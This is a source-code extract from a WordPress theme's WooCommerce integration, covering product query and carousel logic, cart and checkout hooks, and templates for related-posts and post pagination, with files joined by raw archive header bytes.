			if ( ! is_wp_error( $terms ) && ! empty( $terms ) ) {
				if ( 'featured' === $settings['post_type'] ) {
					$query_args['tax_query'] = [ 'relation' => 'AND' ]; // phpcs:ignore
				}

				$relation = $settings['query_type'] ? $settings['query_type'] : 'OR';
				if ( count( $terms ) > 1 ) {
					$query_args['tax_query']['categories'] = array( 'relation' => $relation );
				}

				foreach ( $terms as $term ) {
					$query_args['tax_query']['categories'][] = array(
						'taxonomy'         => $term->taxonomy,
						'field'            => 'slug',
						'terms'            => array( $term->slug ),
						'include_children' => true,
						'operator'         => 'IN',
					);
				}
			}
		}
		if ( 'featured' === $settings['post_type'] ) {
			$query_args['tax_query'][] = array(
				'taxonomy'         => 'product_visibility',
				'field'            => 'name',
				'terms'            => 'featured',
				'operator'         => 'IN',
				'include_children' => false,
			);
		}
		if ( apply_filters( 'penci_hide_out_of_stock_items', false ) && 'yes' === get_option( 'woocommerce_hide_out_of_stock_items' ) ) {
			$query_args['meta_query'][] = array(
				'key'     => '_stock_status',
				'value'   => 'outofstock',
				'compare' => 'NOT IN',
			);
		}
		if ( $settings['order'] ) {
			$query_args['order'] = $settings['order'];
		}
		if ( $settings['offset'] ) {
			$query_args['offset'] = $settings['offset'];
		}
		if ( 'sale' === $settings['post_type'] ) {

			$query_args['post__in'] = array_merge( array( 0 ), penci_get_product_ids_on_sale() );
		}
		if ( 'bestselling' === $settings['post_type'] ) {
			$query_args['orderby']  = 'meta_value_num';
			$query_args['meta_key'] = 'total_sales'; // phpcs:ignore
			$query_args['order']    = 'DESC';
		}

		WC()->query->remove_ordering_args();

		if ( isset( $_GET['orderby'] ) && $settings['header_tools'] ) { // phpcs:ignore
			$element_orderby = wc_clean( wp_unslash( $_GET['orderby'] ) ); // phpcs:ignore

			if ( 'date' === $element_orderby ) {
				$query_args['orderby'] = 'date';
				$query_args['order']   = 'DESC';
			} elseif ( 'price-desc' === $element_orderby ) {
				$query_args['orderby'] = 'price';
				$query_args['order']   = 'DESC';
			} else {
				$query_args['orderby'] = $element_orderby;
				$query_args['order']   = 'ASC';
			}
		}

		if ( 'price' === $query_args['orderby'] ) {
			$query_args['orderby']  = 'meta_value_num';
			$query_args['meta_key'] = '_price'; // phpcs:ignore
		}

		if ( isset( $_GET['per_page'] ) && $settings['header_tools'] ) { // phpcs:ignore
			$query_args['posts_per_page'] = wc_clean( wp_unslash( $_GET['per_page'] ) ); // phpcs:ignore
		}

		if ( isset( $settings['product_type'] ) && in_array( $settings['product_type'], array(
				'day',
				'week',
				'month',
			) ) ) {
			$date = '+1 day';
			if ( $settings['product_type'] == 'week' ) {
				$date = '+7 day';
			} elseif ( $settings['product_type'] == 'month' ) {
				$date = '+1 month';
			}
			$query_args['meta_query'] = apply_filters( 'penci_product_deals_meta_query', array_merge( WC()->query->get_meta_query(), array(
				array(
					'key'     => '_deal_quantity',
					'value'   => 0,
					'compare' => '>',
				),
				array(
					'key'     => '_sale_price_dates_to',
					'value'   => 0,
					'compare' => '>',
				),
				array(
					'key'     => '_sale_price_dates_to',
					'value'   => strtotime( $date ),
					'compare' => '<=',
				),
			) ) );
		} elseif ( isset( $settings['product_type'] ) && $settings['product_type'] == 'deals' ) {
			$query_args['meta_query'] = apply_filters( 'penci_product_deals_meta_query', array_merge( WC()->query->get_meta_query(), array(
				array(
					'key'     => '_deal_quantity',
					'value'   => 0,
					'compare' => '>',
				),
			) ) );
		}

		if ( 'recent_viewed' === $settings['post_type'] ) {
			$query_args['post__in'] = array_merge( array( 0 ), penci_get_product_ids_on_viewed() );
		}

		if ( 'top_rated_products' === $settings['post_type'] ) {
			add_filter( 'posts_clauses', 'penci_order_by_rating_post_clauses' );
			$products = new WP_Query( apply_filters( 'penci_product_element_query_args', $query_args ) );
			remove_filter( 'posts_clauses', 'penci_order_by_rating_post_clauses' );
		} else {
			$products = new WP_Query( apply_filters( 'penci_product_element_query_args', $query_args ) );
		}

		// Element settings.
		if ( 'inherit' === $settings['product_style'] ) {
			$settings['product_style'] = get_theme_mod( 'penci_woocommerce_product_style', 'style-1' );
		}

		$product_style = 'list' === $settings['layout'] ? 'list' : $settings['product_style'];

		if ( $settings['elementor'] ) {
			$columns = isset( $settings['columns']['size'] ) && $settings['columns']['size'] ? $settings['columns']['size'] : 4;
		} else {
			$columns = isset( $settings['columns'] ) && $settings['columns'] ? $settings['columns'] : 4;
		}

		$columns = 'list' === $settings['layout'] ? 1 : $columns;

		$data_attr = array();

		if ( 'carousel' === $settings['layout'] ) {
			if ( $settings['elementor'] ) {
				$slides_per_view = isset( $settings['slides_per_view']['size'] ) && $settings['slides_per_view']['size'] ? $settings['slides_per_view']['size'] : 4;
				$tablet_items    = isset( $settings['slides_per_view_tablet']['size'] ) && ! empty( $settings['slides_per_view_tablet']['size'] ) ? $settings['slides_per_view_tablet']['size'] : 2;
				$mobile_items    = isset( $settings['slides_per_view_mobile']['size'] ) && ! empty( $settings['slides_per_view_mobile']['size'] ) ? $settings['slides_per_view_mobile']['size'] : 1;
			} else {
				$slides_per_view = isset( $settings['columns'] ) && $settings['columns'] ? $settings['columns'] : 4;
				$tablet_items    = isset( $settings['tablet_columns'] ) && $settings['tablet_columns'] ? $settings['tablet_columns'] : 2;
				$mobile_items    = isset( $settings['mobile_columns'] ) && $settings['mobile_columns'] ? $settings['mobile_columns'] : 1;
			}

			$spacing_item = isset( $settings['product_horizontal_spacing']['size'] ) ? $settings['product_horizontal_spacing']['size'] : 30;
			$lazy         = isset( $settings['scroll_carousel_init'] ) ? $settings['scroll_carousel_init'] : true;

			$speed           = $settings['speed'] ? $settings['speed'] : 500;
			$scroll_per_page = 'true' == $settings['scroll_per_page'] ? $slides_per_view : 1;
			$data_attr[]     = 'data-speed=\'' . $speed . '\'';
			$data_attr[]     = 'data-item=\'' . $slides_per_view . '\'';
			$data_attr[]     = 'data-desktop=\'' . $slides_per_view . '\'';
			$data_attr[]     = 'data-tablet=\'' . $tablet_items . '\'';
			$data_attr[]     = 'data-tabsmall=\'' . $tablet_items . '\'';
			$data_attr[]     = 'data-mobile=\'' . $mobile_items . '\'';
			$data_attr[]     = 'data-loop=\'' . $settings['wrap'] . '\'';
			$data_attr[]     = 'data-auto=\'' . $settings['autoplay'] . '\'';
			$data_attr[]     = 'data-dots=\'' . $settings['hide_pagination_control'] . '\'';
			$data_attr[]     = 'data-nav=\'' . $settings['hide_prev_next_buttons'] . '\'';
			$data_attr[]     = 'data-lazy=\'' . $lazy . '\'';
			$data_attr[]     = 'data-margin=\'' . $spacing_item . '\'';
			$columns         = $slides_per_view;
		}

		wc_set_loop_prop( 'product_loop_style', $product_style );
		wc_set_loop_prop( 'columns', $columns );

		// Loop settings.
		wc_set_loop_prop( 'products_view', $settings['layout'] );
		wc_set_loop_prop( 'total', $products->found_posts );
		wc_set_loop_prop( 'total_pages', $products->max_num_pages );
		wc_set_loop_prop( 'current_page', $products->query['paged'] );
		wc_set_loop_prop( 'is_shortcode', true );
		wc_set_loop_prop( 'name', isset( $settings['loop_name'] ) ? $settings['loop_name'] : 'custom' );

		wc_set_loop_prop( 'product_loop_icon_style', $settings['icon_style'] );
		wc_set_loop_prop( 'product_loop_icon_position', $settings['icon_position'] );
		wc_set_loop_prop( 'product_loop_icon_animation', $settings['icon_animation'] );
		wc_set_loop_prop( 'product_round_style', penci_shop_product_round_style( $settings['icon_style'], $settings['icon_position'] ) );
		wc_set_loop_prop( 'stock_progress_bar', (boolean) $settings['stock_progress_bar'] );
		wc_set_loop_prop( 'img_size', $settings['img_size'] );
		wc_set_loop_prop( 'pagination', $settings['pagination'] );
		wc_set_loop_prop( 'loop_rating', $settings['product_rating'] );
		wc_set_loop_prop( 'loop_categories', $settings['product_categories'] );
		wc_set_loop_prop( 'layout', $settings['layout'] );

		wc_set_loop_prop( 'penci_woo_settings', wp_json_encode( array_intersect_key( $settings, penci_custom_product_query_default_args() ) ) );

		$classes[] = 'product-style-' . $product_style;
		$classes[] = 'product-layout-' . $settings['layout'];


		$classes[]    = 'woocommerce elementor-products';
		$unique_class = $settings['title'] ? md5( $settings['title'] ) : 'default';
		$unique_class = 'products-' . $unique_class . '-section';
		$classes[]    = $unique_class;
		$classes[]    = $settings['class'] ? $settings['class'] : '';
		$classes[]    = $settings['pagination'];

		if ( 'pagination' !== $settings['pagination'] ) {
			wp_enqueue_script( 'infinite-scroll' );
		}

		$section_id = 'penci-products-' . wp_rand( 0, 99999 );
		wc_set_loop_prop( 'loopid', $section_id );


		$loop_wrapper_classes   = array();
		$loop_wrapper_classes[] = penci_woocommerce_get_product_loop_class();
		$loop_wrapper_classes[] = 'products mobile-columns-' . wc_get_loop_prop( 'mobile-columns', 2 );
		$loop_wrapper_classes[] = 'columns-' . esc_attr( $columns );

		if ( 'carousel' === $settings['layout'] ) {
			$loop_wrapper_classes[] = 'penci-owl-carousel swiper penci-owl-carousel-slider display-style-carousel';
		}

		$classes[]              = $section_id;
		$loop_wrapper_classes[] = $section_id . '-container';

		echo '<div data-section="' . esc_attr( $section_id ) . '" class="penci-custom-products penci-woo-page-container ' . implode( ' ', $classes ) . '">';

		if ( $products->have_posts() ) {
			if ( $preloader ) {
				echo '<div class="penci-products-preloader"><span class="penci-loading-icon"><span class="bubble"></span><span class="bubble"></span><span class="bubble"></span></span></div>';
			}
			echo '<ul ' . implode( ' ', $data_attr ) . ' data-item="' . esc_attr( $columns ) . '" data-columns="' . esc_attr( $columns ) . '" class="' . implode( ' ', $loop_wrapper_classes ) . '">';
			if ( 'carousel' === $settings['layout'] ) {
				echo '<div class="swiper-wrapper">';
			}
			while ( $products->have_posts() ) :
				$products->the_post();
				wc_get_template_part( 'content', 'product' );
			endwhile;
			if ( 'carousel' === $settings['layout'] ) {
				echo '</div>';
			}
			woocommerce_product_loop_end();
			if ( 'none' !== $settings['pagination'] && 'carousel' !== $settings['layout'] ) {
				echo '<div id="penci-load-' . esc_attr( $unique_class ) . '" data-part="' . esc_attr( $unique_class ) . '" class="page-unique-part">';
				penci_woo_infinit_load_button( $settings['pagination'], $products->max_num_pages );
				woocommerce_pagination();
				echo '</div>';
			}
		} else {
			echo penci_woo_translate_text( 'penci_woo_trans_noproductfount' );
		}

		echo '</div>';

		wc_reset_loop();
		wp_reset_postdata();
	}
}

if ( ! function_exists( 'penci_order_by_rating_post_clauses' ) ) {
	function penci_order_by_rating_post_clauses( $args ) {
		global $wpdb;

		$args['where']   .= " AND $wpdb->commentmeta.meta_key = 'rating' ";
		$args['join']    .= "LEFT JOIN $wpdb->comments ON($wpdb->posts.ID = $wpdb->comments.comment_post_ID) LEFT JOIN $wpdb->commentmeta ON($wpdb->comments.comment_ID = $wpdb->commentmeta.comment_id)";
		$args['orderby'] = "$wpdb->commentmeta.meta_value DESC";
		$args['groupby'] = "$wpdb->posts.ID";

		return $args;
	}
}

add_action( 'woocommerce_before_cart_totals', 'penci_woo_before_cart_total_wrap' );
function penci_woo_before_cart_total_wrap() {
	echo '<div class="penci-woo-cart-total-wrap">';
}

add_action( 'woocommerce_after_cart_totals', 'penci_woo_before_cart_end_wrap' );
function penci_woo_before_cart_end_wrap() {
	echo '</div>';
}

add_action( 'woocommerce_share', 'penci_woo_social_share' );
function penci_woo_social_share() {
	echo '<div class="single-product-share">';
	echo '<span class="share-title">' . penci_get_setting( 'penci_trans_share' ) . '</span>';
	penci_soledad_social_share( 'single' );
	echo '</div>';
}

add_action( 'woocommerce_before_cart', 'penci_woo_pages_breadcrumbs' );
add_action( 'woocommerce_before_checkout_form', 'penci_woo_pages_breadcrumbs', 0 );
function penci_woo_pages_breadcrumbs() {
	?>
    <div class="penci_woo_pages_breadcrumbs">
        <ul>
            <li class="step-cart <?php echo ( is_cart() ) ? 'active' : 'inactive'; ?>">
                <a href="<?php echo esc_url( wc_get_cart_url() ); ?>">
                    <span><?php echo penci_woo_translate_text( 'penci_woo_trans_shoppingcart' ); ?></span>
                </a>
            </li>
            <li class="step-checkout <?php echo ( is_checkout() && ! is_order_received_page() ) ? 'active' : 'inactive'; ?>">
                <a href="<?php echo esc_url( wc_get_checkout_url() ); ?>">
                    <span><?php echo penci_woo_translate_text( 'penci_woo_trans_checkout' ); ?></span>
                </a>
            </li>
            <li class="step-complete <?php echo ( is_order_received_page() ) ? 'active' : 'inactive'; ?>">
                <span><?php echo penci_woo_translate_text( 'penci_woo_trans_ordrcompleted' ); ?></span>
            </li>
        </ul>
    </div>
	<?php
}

if ( ! function_exists( 'penci_woo_get_custom_page_link' ) ) {
	function penci_woo_get_custom_page_link( $page ) {
		$url = '';
		switch ( $page ) {
			case 'home':
				$url = get_home_url();
				break;
			case 'shop':
				$url = wc_get_page_permalink( 'shop' );
				break;
			case 'cart':
				$url = wc_get_cart_url();
				break;
			case 'account':
				$url = wc_get_page_permalink( 'myaccount' );
				break;
			case 'wishlist':
				$url = get_page_link( get_theme_mod( 'penci_woocommerce_wishlist_page' ) );
				break;
			case 'compare':
				$url = get_page_link( get_theme_mod( 'penci_woocommerce_compare_page' ) );
				break;
			case 'filer':
				$url = '#productfilter';
				break;
		}

		return $url;
	}
}

if ( ! function_exists( 'penci_woo_ele_lib_list' ) ) {
	function penci_woo_ele_lib_list() {
		$elementor_library_args = array(
			'post_type'      => 'elementor_library',
			'posts_per_page' => - 1,
		);

		if ( post_type_exists( 'penci-block' ) ) {
			$elementor_library_args['post_type'] = 'penci-block';
		}

		$elementor_library = get_posts( $elementor_library_args );

		$penci_elementor_library = array();

		foreach ( $elementor_library as $library ) {
			$penci_elementor_library[ $library->post_title ] = $library->ID;
		}

		return $penci_elementor_library;
	}
}

if ( ! function_exists( 'penci_woo_cat_list_opt' ) ) {
	function penci_woo_terms_list_opt( $tax ) {

		$terms_list = array();
		$terms      = get_terms( array(
			'taxonomy'   => $tax,
			'hide_empty' => false,
		) );

		if ( ! empty( $terms ) ) {
			foreach ( $terms as $term ) {
				$terms_list[ $term->term_id ] = $term->name;
			}
		}

		return $terms_list;
	}
}

if ( ! function_exists( 'penci_woo_cat_list_opt' ) ) {
	add_action( 'init', 'penci_woo_cat_list_opt' );
	function penci_woo_cat_list_opt() {
		// Thank you text
		add_filter( 'woocommerce_thankyou_order_received_text', function ( $text, $order ) {
			$user_text = get_theme_mod( 'penci_woo_checkout_success_thankyou_text' );

			return $user_text ? $user_text : $text;
		}, 10, 2 );

		add_action( 'woocommerce_before_checkout_form', function () {
			echo get_theme_mod( 'penci_woo_checkout_before_content' );
		} );

		add_action( 'woocommerce_before_checkout_form', function () {
			echo get_theme_mod( 'woocommerce_after_checkout_form' );
		} );

		add_action( 'woocommerce_before_cart', function () {
			echo get_theme_mod( 'penci_woo_cart_before_content' );
		} );

		add_action( 'woocommerce_after_cart', function () {
			echo get_theme_mod( 'penci_woo_cart_after_content' );
		} );

		// product_excerpt_length
		if ( ! empty( get_theme_mod( 'penci_woo_limit_product_excerpt' ) ) ) {
			add_filter( 'woocommerce_short_description', function ( $excerpt ) {
				global $post;
				$quicview = wc_get_loop_prop( 'quickview', false );
				$length   = get_theme_mod( 'penci_woo_limit_product_excerpt' );
				if ( isset( $post->post_type ) && 'product' == $post->post_type && ! is_singular( 'product' ) && ! $quicview ) {
					$excerpt = wp_trim_words( $excerpt, $length );
				}

				return $excerpt;
			}, 10, 1 );
		}
	}
}

if ( ! function_exists( 'penci_get_product_loop_class' ) ) {
	/**
	 * Get Product Loop Class
	 *
	 * @return string
	 */
	function penci_get_product_loop_class() {
		$product_display_style = wc_get_loop_prop( 'products_view' );
		$product_style         = wc_get_loop_prop( 'product_loop_style' );
		$product_loop_name     = wc_get_loop_prop( 'name' );
		$product_loop_name     = penci_is_mobile() ? 'mobile' : $product_loop_name;
		$default_product_style = get_theme_mod( 'penci_woocommerce_product_style', 'style-1' );
		$product_style         = 'list' == $product_display_style ? 'list' : $product_style;
		$product_style         = in_array( $product_loop_name, array(
			'up-sells',
			'cross-sells',
			//'mobile',
			//'custom',
			'related',
			'wishlist',
		) ) ? $default_product_style : $product_style;

		$product_style = $product_style ? $product_style : $default_product_style;

		return $product_style;
	}
}

if ( ! function_exists( 'penci_shop_update_cart_item' ) ) {
	/**
	 * Update cart item.
	 *
	 * @return void
	 */
	function penci_shop_update_cart_item() {
		if ( ( isset( $_GET['item_id'] ) && $_GET['item_id'] ) && ( isset( $_GET['qty'] ) ) ) {
			global $woocommerce;
			if ( $_GET['qty'] ) {
				$woocommerce->cart->set_quantity( $_GET['item_id'], $_GET['qty'] );
			} else {
				$woocommerce->cart->remove_cart_item( $_GET['item_id'] );
			}
		}

		WC_AJAX::get_refreshed_fragments();
	}

	add_action( 'wp_ajax_penci_shop_update_cart_item', 'penci_shop_update_cart_item' );
	add_action( 'wp_ajax_nopriv_penci_shop_update_cart_item', 'penci_shop_update_cart_item' );
}

function penci_shop_product_round_style( $icon, $setting ) {
	$direct = 'vertical';

	$horizontal_class = array(
		'center-top',
		'center-center',
		'center-bottom',
	);

	$vertical_class = array(
		'top-left',
		'top-right',
		'bottom-left',
		'bottom-right',
	);

	if ( in_array( $setting, $horizontal_class ) ) {
		$direct = 'horizontal';
	}

	if ( in_array( $setting, $vertical_class ) && 'group' == $icon ) {
		$direct = 'vertical';
	}

	return $direct;
}

if ( ! function_exists( 'penci_product_is_color_name' ) ) {
	function penci_product_is_color_name( $name ) {
		$color = array(
			'aliceblue',
			'antiquewhite',
			'aqua',
			'aquamarine',
			'azure',
			'beige',
			'bisque',
			'black',
			'blanchedalmond',
			'blue',
			'blueviolet',
			'brown',
			'burlywood',
			'cadetblue',
			'chartreuse',
			'chocolate',
			'coral',
			'cornflowerblue',
			'cornsilk',
			'crimson',
			'cyan',
			'darkblue',
			'darkcyan',
			'darkgoldenrod',
			'darkgray',
			'darkgreen',
			'darkgrey',
			'darkkhaki',
			'darkmagenta',
			'darkolivegreen',
			'darkorange',
			'darkorchid',
			'darkred',
			'darksalmon',
			'darkseagreen',
			'darkslateblue',
			'darkslategray',
			'darkslategrey',
			'darkturquoise',
			'darkviolet',
			'deeppink',
			'deepskyblue',
			'dimgray',
			'dimgrey',
			'dodgerblue',
			'firebrick',
			'floralwhite',
			'forestgreen',
			'fuchsia',
			'gainsboro',
			'ghostwhite',
			'gold',
			'goldenrod',
			'gray',
			'green',
			'greenyellow',
			'grey',
			'honeydew',
			'hotpink',
			'indianred',
			'indigo',
			'ivory',
			'khaki',
			'lavender',
			'lavenderblush',
			'lawngreen',
			'lemonchiffon',
			'lightblue',
			'lightcoral',
			'lightcyan',
			'lightgoldenrodyellow',
			'lightgray',
			'lightgreen',
			'lightgrey',
			'lightpink',
			'lightsalmon',
			'lightseagreen',
			'lightskyblue',
			'lightslategray',
			'lightslategrey',
			'lightsteelblue',
			'lightyellow',
			'lime',
			'limegreen',
			'linen',
			'magenta',
			'maroon',
			'mediumaquamarine',
			'mediumblue',
			'mediumorchid',
			'mediumpurple',
			'mediumseagreen',
			'mediumslateblue',
			'mediumspringgreen',
			'mediumturquoise',
			'mediumvioletred',
			'midnightblue',
			'mintcream',
			'mistyrose',
			'moccasin',
			'navajowhite',
			'navy',
			'oldlace',
			'olive',
			'olivedrab',
			'orange',
			'orangered',
			'orchid',
			'palegoldenrod',
			'palegreen',
			'paleturquoise',
			'palevioletred',
			'papayawhip',
			'peachpuff',
			'peru',
			'pink',
			'plum',
			'powderblue',
			'purple',
			'red',
			'rosybrown',
			'royalblue',
			'saddlebrown',
			'salmon',
			'sandybrown',
			'seagreen',
			'seashell',
			'sienna',
			'silver',
			'skyblue',
			'slateblue',
			'slategray',
			'slategrey',
			'snow',
			'springgreen',
			'steelblue',
			'tan',
			'teal',
			'thistle',
			'tomato',
			'turquoise',
			'saddlebrown',
			'violet',
			'wheat',
			'white',
			'whitesmoke',
			'yellow',
			'yellowgreen',
		);

		return in_array( $name, $color );
	}
}

add_filter( 'woocommerce_cross_sells_columns', function () {
	return get_theme_mod( 'penci_shop_product_cross_sell_columns', 4 );
} );

add_filter( 'woocommerce_upsells_columns', function () {
	return get_theme_mod( 'penci_shop_product_up_sell_columns', 4 );
} );

add_filter( 'woocommerce_related_products_columns', function () {
	return get_theme_mod( 'penci_shop_product_related_columns', 4 );
} );


add_filter( 'woocommerce_before_output_product_categories', function () {
	$columns        = get_theme_mod( 'penci_shop_cat_columns', 4 );
	$mobile_columns = get_theme_mod( 'penci_shop_product_mobile_columns', 2 );
	$display_type   = get_theme_mod( 'penci_shop_cat_display_type', 'grid' );

	$classess = 'carousel' == $display_type ? ' penci-owl-carousel' : '';

	return '<ul class="products penci-woo-product-loop-categories mobile-columns-' . esc_attr( $mobile_columns ) . ' columns-' . esc_attr( $columns ) . ' display-style-' . esc_attr( $display_type . $classess ) . '">';
} );

add_filter( 'woocommerce_after_output_product_categories', function () {
	return '</ul>';
} );

if ( ! function_exists( 'penci_woo_ajax_url' ) ) {
	function penci_woo_ajax_url( $settings = null ) {
		$settings  = json_decode( $settings, true );
		$ajax_args = array();
		foreach ( $settings as $prop => $value ) {
			if ( is_array( $value ) ) {
				foreach ( $value as $sub_prop => $sub_value ) {
					if ( ! empty( $sub_value ) ) {
						$ajax_args[] = 'settings[' . $prop . '][' . $sub_prop . ']=' . $sub_value;
					}
				}
			} else {
				if ( ! empty( $value ) ) {
					$ajax_args[] = 'settings[' . $prop . ']=' . $value;
				}
			}
		}

		return implode( '&', $ajax_args );
	}
}

$category_page = get_option( 'wc_ajax_add_to_cart_variable_category_page' );


if ( isset( $category_page ) && $category_page == "yes" ) {

	if ( ! function_exists( 'woocommerce_template_loop_add_to_cart' ) ) {

		function woocommerce_template_loop_add_to_cart( $args = array() ) {

			global $product;

			$product_type = $product->get_type();

			if ( $product ) {
				$defaults = array(
					'quantity'   => 1,
					'class'      => implode( ' ', array_filter( array(
						'button',
						'product_type_' . $product_type,
						$product->is_purchasable() && $product->is_in_stock() ? 'add_to_cart_button' : '',
						$product->supports( 'ajax_add_to_cart' ) ? 'ajax_add_to_cart' : ''
					) ) ),
					'attributes' => array(
						'data-product_id'  => $product->get_id(),
						'data-product_sku' => $product->get_sku()
					),
				);

				$args = apply_filters( 'woocommerce_loop_add_to_cart_args', wp_parse_args( $args, $defaults ), $product );

				if ( $product_type == "variable" ) {
					woocommerce_variable_add_to_cart();
				} else {
					wc_get_template( 'loop/add-to-cart.php', $args );
				}
			}
		}
	}
}

add_filter( 'woocommerce_product_get_rating_html', function ( $html, $rating, $count ) {
	if ( ! wc_get_loop_prop( 'loop_rating', true ) ) {
		$html = false;
	}

	return $html;
}, 10, 3 );

add_action( 'wp_footer', function () {
	$post_ids    = [];
	$current_ids = isset( $_COOKIE['penci_product_viewed_ids'] ) && $_COOKIE['penci_product_viewed_ids'] ? json_decode( $_COOKIE['penci_product_viewed_ids'], true ) : [];
	if ( is_singular( 'product' ) ) {
		$post_ids[] = get_the_ID();

		if ( ! empty( $current_ids ) ) {
			$post_ids = array_unique( array_merge( $post_ids, $current_ids ) );
		}

		?>
        <script type="text/javascript" id="penci_post_viewed_ids">
          Cookies.set('penci_product_viewed_ids', <?php echo json_encode( $post_ids );?>)
        </script>
		<?php
	}
}, 99999 );


add_filter( 'the_content', function ( $content ) {
	// Retrieve theme mod and page IDs once to improve efficiency.
	$is_use_default   = get_theme_mod( 'penci_woocommerce_standard_page', true );
	$cart_page_id     = wc_get_page_id( 'cart' );
	$checkout_page_id = wc_get_page_id( 'checkout' );

	// Only proceed if the default content is enabled.
	if ( $is_use_default ) {
		if ( is_page( $cart_page_id ) ) {
			return '[woocommerce_cart]';
		}

		if ( is_page( $checkout_page_id ) ) {
			return '[woocommerce_checkout]';
		}
	}

	return $content;
} );PK     0w\ρk  k    global-js.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if( ! function_exists('penci_global_js') ) {
	function penci_global_js(){

		$output = '<script>' . "\n";
		$output .= 'var penciBlocksArray=[];' . "\n";
		$output .= 'var portfolioDataJs = portfolioDataJs || [];';
		$output .= 'var PENCILOCALCACHE = {};
		(function () {
				"use strict";
		
				PENCILOCALCACHE = {
					data: {},
					remove: function ( ajaxFilterItem ) {
						delete PENCILOCALCACHE.data[ajaxFilterItem];
					},
					exist: function ( ajaxFilterItem ) {
						return PENCILOCALCACHE.data.hasOwnProperty( ajaxFilterItem ) && PENCILOCALCACHE.data[ajaxFilterItem] !== null;
					},
					get: function ( ajaxFilterItem ) {
						return PENCILOCALCACHE.data[ajaxFilterItem];
					},
					set: function ( ajaxFilterItem, cachedData ) {
						PENCILOCALCACHE.remove( ajaxFilterItem );
						PENCILOCALCACHE.data[ajaxFilterItem] = cachedData;
					}
				};
			}
		)();';

		$output .= "function penciBlock() {
		    this.atts_json = '';
		    this.content = '';
		}";
		$output .= '</script>' . "\n";

		echo $output;
	}
}

add_action('wp_head', 'penci_global_js', 10);PK     0w\p|i    !  templates/related_posts-popup.phpnu [        <?php
/**
 * Related post popup template
 * Render list related posts
 *
 * @since 6.3
 */

$orig_post = $post;
global $post;
$numbers_related = get_theme_mod( 'penci_rltpopup_numpost' );
if ( ! isset( $numbers_related ) || $numbers_related < 1 ): $numbers_related = 3; endif;


$orderby_post         = get_theme_mod( 'penci_rltpopup_orderby' ) ? get_theme_mod( 'penci_rltpopup_orderby' ) : 'date';
$related_position     = get_theme_mod( 'penci_rltpopup_position' ) ? get_theme_mod( 'penci_rltpopup_position' ) : 'left';
$related_order_post   = get_theme_mod( 'penci_rltpopup_sort_order' ) ? get_theme_mod( 'penci_rltpopup_sort_order' ) : 'DESC';
$penci_related_by     = get_theme_mod( 'penci_rltpopup_by' );
$related_title_length = get_theme_mod( 'penci_rltpopup_title_length' ) ? get_theme_mod( 'penci_rltpopup_title_length' ) : 6;

$args = penci_get_query_related_posts( get_the_ID(), $penci_related_by, $orderby_post, $related_order_post, $numbers_related );

if ( ! empty( $args ) ) {

$my_query = new wp_query( $args );
if ( $my_query->have_posts() ) {
?>
<aside class="penci-rlt-popup penci-rltpopup-<?php echo $related_position; ?><?php if ( get_theme_mod( 'penci_rltpopup_hide_mobile' ) ): echo ' rltpopup-hide-mobile'; endif; ?>">
    <h3 class="rtlpopup-heading"><?php echo penci_get_setting( 'penci_rltpopup_heading_text' ); ?><a
                class="penci-close-rltpopup">x<span></span><span></span></a></h3>

    <div class="penci-rtlpopup-content">
		<?php $i = 0;
		while ( $my_query->have_posts() ) : $my_query->the_post();
			$trans = 400 + ( 80 * $i ); ?>
            <div class="rltpopup-item"
                 style="transition-delay: <?php echo $trans; ?>ms; -webkit-transition-delay: <?php echo $trans; ?>ms;">
                <div class="rltpopup-item-inner">
					<?php if ( ( function_exists( 'has_post_thumbnail' ) ) && ( has_post_thumbnail() ) ) : ?>

                        <figure class="rltpopup-thumbnail">
                            <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size( 'small' ) ), ! get_theme_mod( 'penci_disable_lazyload_single' ) ); ?> class="<?php echo penci_layout_bg_class();?> rltpopup-thumb penci-image-holder"
                               href="<?php the_permalink(); ?>"
                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
								<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size( 'small' ) ), get_the_title(), ! get_theme_mod( 'penci_disable_lazyload_single' ) ); ?>
                            </a>
                        </figure>

					<?php endif; ?>
                    <div class="rltpopup-meta">
                        <h4><a class="rltpopup-title"
                               href="<?php the_permalink(); ?>"><?php echo wp_trim_words( get_the_title(), $related_title_length, '...' ); ?></a>
                        </h4>
						<?php if ( ! get_theme_mod( 'penci_rltpopup_hide_date' ) ): ?>
                            <span class="date"><?php penci_soledad_time_link(); ?></span>
						<?php endif; ?>
                    </div>
                </div>
            </div>
			<?php
			$i ++; endwhile;
		echo '</div></aside>';
		}
		}
		$post = $orig_post;
		wp_reset_postdata();
		?>
PK     0w\ʜN      templates/post_pagination.phpnu [        <?php
/**
 * Post navigation in single post
 * Create next and prev button to next and prev posts
 *
 * @package Wordpress
 * @since 1.0
 */
$style          = get_theme_mod( 'penci_post_pagination_style', 'style-1' );
$thumbnail_size = in_array( $style, [ 'style-1', 'style-2' ] ) ? 'thumbnail' : 'penci-full-thumb';
$show_thumb     = true;
if ( 'style-1' == $style ) {
	$show_thumb = get_theme_mod( 'penci_post_nav_thumbnail' );
}
?>
<div class="post-pagination pcpagp-<?php echo esc_attr( $style ); ?>">
	<?php
	$prev_post = get_previous_post();
	$next_post = get_next_post();
	?>
	<?php if ( ! empty( $prev_post ) ) : ?>
        <div class="prev-post">
			<?php if ( has_post_thumbnail( $prev_post->ID ) && $show_thumb ): ?>

                <a <?php echo penci_layout_bg( penci_image_srcset( $prev_post->ID, $thumbnail_size ), ! get_theme_mod( 'penci_disable_lazyload_single' ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-post-nav-thumb penci-holder-load penci-image-holder"
                   href="<?php echo esc_url( get_the_permalink( $prev_post->ID ) ); ?>">
					<?php echo penci_layout_img( penci_image_srcset( $prev_post->ID, $thumbnail_size ), '', ! get_theme_mod( 'penci_disable_lazyload_single' ) ); ?>
                </a>

			<?php elseif ( 'style-1' != $style ): ?>

                <a <?php echo penci_layout_bg( penci_get_default_thumbnail_url(), ! get_theme_mod( 'penci_disable_lazyload_single' ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-post-nav-thumb penci-holder-load penci-image-holder"
                   href="<?php echo esc_url( get_the_permalink( $prev_post->ID ) ); ?>">
					<?php echo penci_layout_img( penci_get_default_thumbnail_url(), '', ! get_theme_mod( 'penci_disable_lazyload_single' ) ); ?>
                </a>

			<?php endif; ?>
            <div class="prev-post-inner">
				<?php if ( $style == 'style-3' ): ?>
                <div class="prev-post-inner-ct">
					<?php endif; ?>
                    <div class="prev-post-title">
